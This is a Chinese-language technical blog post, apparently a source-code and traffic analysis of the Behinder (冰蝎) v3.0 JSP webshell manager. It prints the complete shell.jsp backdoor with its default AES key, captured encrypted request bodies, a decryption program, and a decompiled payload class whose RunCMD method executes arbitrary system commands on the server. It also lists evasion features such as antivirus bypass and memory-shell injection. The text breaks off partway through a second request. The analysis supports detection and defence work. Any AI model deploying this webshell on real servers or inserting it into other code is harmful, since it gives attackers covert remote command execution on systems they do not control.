早期的WebShell管理器比较知名的就是菜刀,伪造了HTTP请求包头部的X-Forwarded-For、User-Agent
,但是其传payload的代码是固定的,所以即使用base64进行了编码,这个编码后的内容也相对固定。C刀(Cknife)是在菜刀基础上用Java开发的,流量与菜刀很相似,payload的base64串是固定的。后来的冰蝎、哥斯拉都是相对动态的来生成payload串。在Java WebShell3中写了哥斯拉的源码分析。这次分析一下冰蝎。
两年前写过一篇冰蝎:https://www.jianshu.com/p/aba8fc663ad7。但当时更多的是从流量侧去写的,这次写写源码角度。另外,当时拿php做的demo,这次主要写Java。
在写源码之前,也想提一个很有意思的事,就是冰蝎作者在github的releases的变更中写的很详细,简单提一下重点内容:
(1)最早的v1.1版本,设置了17种常见的UserAgent来随机发送HTTP请求,Java支持JDK6+
(2)v1.2版本,PHP端实现了过安全狗和D盾的服务端免杀。文件管理模块默认打开服务端所在的Web路径。修复了数据库中特殊字符可能造成的异常
(3)v2.0版本,可以自定义请求头,并增加了HTTP代理。
(4)v3.0版本,也是现在的核心版本,迭代次数比较多,列举几个核心的:
1)去除动态密钥协商机制,采用预共享密钥,全程无明文交互,密钥格式为md5("admin")[0:16];
2)UI从awt改为javafx。
3)内网增加了穿透功能(在原有的基于HTTP的socks5隧道基础上,增加了单端口转发功能,可一键将内网端口映射至VPS或者本机端口)
4)服务端包含了asp\aspx\jsp\jspx\php版本
5)请求体增加了随机冗余参数,避免防护设备通过请求体大小识别请求
6)客户端环境兼容,JDK8-14,windows\linux\mac
7)增加对server端混淆字符的兼容识别,可向服务端代码首尾部添加各种混淆字符
8)增加了内存马注入,包括但不限于Tomact、jboss、weblogic;
9)内网渗透相关功能:CobaltStrike一键上线、反向DMZ等。
这些releases展现了一个WebShell管理工具的功能、问题、细节。
问题主要针对于JSP木马(服务器端)的设计,例如:
(1)服务端如何免杀
(2)HTTP请求如何过流量检测
这些在文章的最后有所提及。
功能如下图,一个WebShell管理器最基础的功能就要包括基本信息、命令执行、文件管理和数据库管理。如果更深一步就要加入内网渗透的内容。这部分后续的文章单独写一写

细节则包含了用户交互的易用性、特殊字符的处理等。
JSP木马设计
从github上下个冰蝎的最新版(Behinder_v3.0 Beta 7)。先来看看木马的设计(shell.jsp)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
可以看到无论是冰蝎还是哥斯拉,都设置了一个类来继承ClassLoader来实现字节码的加载。冰蝎的AES加密密钥是密码的md5前16位,哥斯拉是密钥的md5前16位。
第一次发包
将jsp文件上传到服务器,抓一下连接流量,可以看到第一次请求如下
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cache-Control: max-age=0
Referer: http://localhost:8080/MemShellShowTest_war_exploded/L.jsp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
Host: localhost:8080
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 10520
Cookie: JSESSIONID=41FC0A599F94B8745659D86E38480F5C
F1w4ahdSJGUxG3t11sfr6qxbThq9VnL7i6K1/...LzvhQ==
将body中的内容进行Base64解密、AES解密
public class RebeyondTest {
public static void main(String[] args) throws IOException, NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException {
String pass="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";
String urldecode= URLDecoder.decode(pass, "UTF-8" );
byte[] bs = Base64.decode(urldecode);
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
byte[] b=c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(pass));
String parameter=new String(b,"UTF-8");
System.out.println(parameter);
String filePath="/Users/dxy/Downloads/POC_Test/src/main/java/CCTest/Reyebond.class";
Files.write(Paths.get(filePath), b, StandardOpenOption.CREATE);
}
}
得到的类代码如下,包含的方法:equals
、RunCMD
(不同操作系统下的命令执行+回显)、Encrypt
(AES加密)、buildJson
(将传入的Map的value转换成base64、JSON格式)、fillContext
(通过PageContext获取request、session、response)。equals是这个类的核心调用方法,先调用fillContext
获取request、session、response,然后将result进行AES加密后回显
public class Echo {
public static String content;
private ServletRequest Request;
private ServletResponse Response;
private HttpSession Session;
public Echo() {
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var11 = false;
ServletOutputStream so;
label77: {
try {
var11 = true;
this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
var11 = false;
break label77;
} catch (Exception var15) {
result.put("msg", var15.getMessage());
result.put("status", "success");
var11 = false;
} finally {
if (var11) {
try {
ServletOutputStream so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
} catch (Exception var12) {
}
}
}
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
} catch (Exception var13) {
}
return true;
}
try {
so = this.Response.getOutputStream();
so.write(this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.flush();
so.close();
} catch (Exception var14) {
}
return true;
}
private String RunCMD(String cmd) throws Exception {
Charset osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
String result = "";
if (cmd != null && cmd.length() > 0) {
Process p;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
p = Runtime.getRuntime().exec(cmd);
}
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GB2312"));
for(String disr = br.readLine(); disr != null; disr = br.readLine()) {
result = result + disr + "\n";
}
result = new String(result.getBytes(osCharset));
}
return result;
}
private byte[] Encrypt(byte[] bs) throws Exception {
String key = this.Session.getAttribute("u").toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = (HttpSession)objMap.get("session");
this.Response = (ServletResponse)objMap.get("response");
this.Request = (ServletRequest)objMap.get("request");
}
this.Response.setCharacterEncoding("UTF-8");
}
}
第二次发包
HTTP请求包的头部除了长度没有什么区别,请求体内容如下
2Exfwf7tK2Zx2OSMZ+HY4axbThq9VnL7i6K1/NzHsb0s9eQIfj2qDW/r5OeNJjI0eUb6tZLcuwrP+6GjFPhoRJ/5e6afYtPtf0kAC3UdgHBEOWXIQgGSwCxq10Q121/xazarC9zTyR98+TEAy8OH09FzQqWWOoIgsEvfpwFwf4Z0G2ZwTKIKxUFDyFGVqveR32ydBRchO4yiUB5itm+SV4jQdKZ3RYrYnkyp+iR4hlvuflsynI/C1phtmMZo5lIPAVo3nd71ClsY28uw1QgYlVlNWszIW96TaeTLSzT+nz4eVVa5FivQWOI6LC+hMdhvMabPuavm3ddWdJVjAipSiTPoIgl9MFx313COzR8y1xBzypUFe9ahEpymSgvIs1hGO+GrMBSIE9iFqMyVkYJ5AIzvWz9GpqgyxAKPVfLOr+Wu8THy3IVidf58nCImkJd7SsQUCAq14fmIZ6D57UV3CprGPI4RR+ioM8q3MeSdxdxjfvnnEvb5ZJplKfMfkBLzIS3V668CHk6CX0MKy8Ec2C2/KejdWs5UgRWGLo9ZK2GLu8eF+nGUBDszUlTmYKxfpdMmL2Mm9wTwlLGlhb1Py/3b6OgZ2GZxHt6aqmAzVi2nVx7eCE7LCFCUjIDi7FkM0fUuCmJcO4TBBSL0E7qRzSgrRw68loWPC+7qdHRADds5e+cyF8gTqERYEO0Tz0LZGA1aUU3Nu2XQRRKX4XC53UhkvfvwJcGzBYPf+yu6B3Wv4aVjB8Tsjv0FnpBGJaIV3h1ewgZZnf+Ru9HIWBten